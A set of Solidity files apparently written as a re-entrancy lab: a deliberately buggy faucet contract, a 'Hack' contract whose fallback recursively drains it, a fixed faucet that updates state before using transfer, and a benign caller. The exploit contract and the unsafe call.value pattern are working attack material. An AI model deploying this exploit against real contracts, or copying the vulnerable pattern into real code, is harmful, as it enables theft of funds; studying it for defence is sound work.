htdf_faucet_with_bug.sol
/*
yqq 2020-12-11
a faucet contract with a bug (re-entrancy )
compile contract:
solcjs --bin --abi hack_faucet.sol htdf_faucet_with_bug.sol
*/
pragma solidity ^0.4.20;
contract HtdfFaucet {
uint256 public onceAmount;
address public owner ;
event SendHtdf(address indexed toAddress, uint256 indexed amount);
event Deposit(address indexed fromAddress, uint256 indexed amount);
event SetOnceAmount(address indexed fromAddress, uint256 indexed amount);
mapping (address => uint256) sendRecords;
function HtdfFaucet() public payable{
onceAmount = 100000000;
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setOnceAmount(uint256 amount) public onlyOwner {
onceAmount = amount;
SetOnceAmount(msg.sender, amount);
}
function getOneHtdf() public {
require( sendRecords[msg.sender] == 0 ||
(sendRecords[msg.sender] > 0 && now - sendRecords[msg.sender] > 1 minutes ));
require(address(this).balance >= onceAmount);
// NOTE: THIS IS UNSAFE
msg.sender.call.value( onceAmount )("");
sendRecords[msg.sender] = now; // NOTE: probobaly be re-entrancy attacked
SendHtdf(msg.sender, onceAmount);
}
function deposit() public payable {
Deposit(msg.sender, msg.value);
}
// function() public payable{
// }
}
hack_faucet.sol
/*
yqq 2020-12-11
hack the faucet contract , re-entrancy attack
*/
pragma solidity ^0.4.20;
import "./htdf_faucet_with_bug.sol";
contract Hack {
HtdfFaucet public faucet;
uint256 public stackDepth = 0;
address public addr;
address public owner;
uint8 MAX_DEPTH = 20;
function Hack() public payable {
// 此处也可以由构造函数参数传入
addr = address(0xd4e2d4b954F02a6808eD7e47eAf2dF5cEEf466A4);
faucet = HtdfFaucet(addr);
owner = msg.sender;
}
// test pass, attack succeed!
function doHack() public {
stackDepth = 0;
faucet.getOneHtdf();
}
// fallback function
function () external payable {
stackDepth += 1;
if(msg.sender.balance >= 100000000 && stackDepth <= MAX_DEPTH) {
faucet.getOneHtdf();
}
}
}
修复bug之后的
htdf_faucet.sol
pragma solidity ^0.4.20;
contract HtdfFaucet {
uint256 public onceAmount;
address public owner ;
event SendHtdf(address indexed toAddress, uint256 indexed amount);
event Deposit(address indexed fromAddress, uint256 indexed amount);
event SetOnceAmount(address indexed fromAddress, uint256 indexed amount);
mapping (address => uint256) sendRecords;
function HtdfFaucet() public payable{
onceAmount = 100000000;
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setOnceAmount(uint256 amount) public onlyOwner {
onceAmount = amount;
SetOnceAmount(msg.sender, amount);
}
function getOneHtdf() public {
require( sendRecords[msg.sender] == 0 ||
(sendRecords[msg.sender] > 0 && now - sendRecords[msg.sender] > 1 minutes ));
require(address(this).balance >= onceAmount);
// update time before transfer to against re-entrancy attack
sendRecords[msg.sender] = now;
// transfer only use 2300 gas, safe against re-entrancy attack
msg.sender.transfer( onceAmount );
SendHtdf(msg.sender, onceAmount);
}
function deposit() public payable {
Deposit(msg.sender, msg.value);
}
// function() public payable{
// }
}
call_faucet.sol
/*
yqq 2020-12-11
test contract call contract
*/
pragma solidity ^0.4.20;
import "./htdf_faucet.sol";
contract CallFaucet {
HtdfFaucet public faucet;
uint256 public stackDepth = 0;
address public addr;
address public owner;
function CallFaucet() public payable {
// hard coding the faucet contract address
addr = address(0x18EDA861679664967c067bA3068414339E5B49e9);
faucet = HtdfFaucet(addr);
owner = msg.sender;
}
function getOneHtdf() public {
stackDepth = 0;
faucet.getOneHtdf(); // it's ok
}
// fallback function
function () external payable {
}
}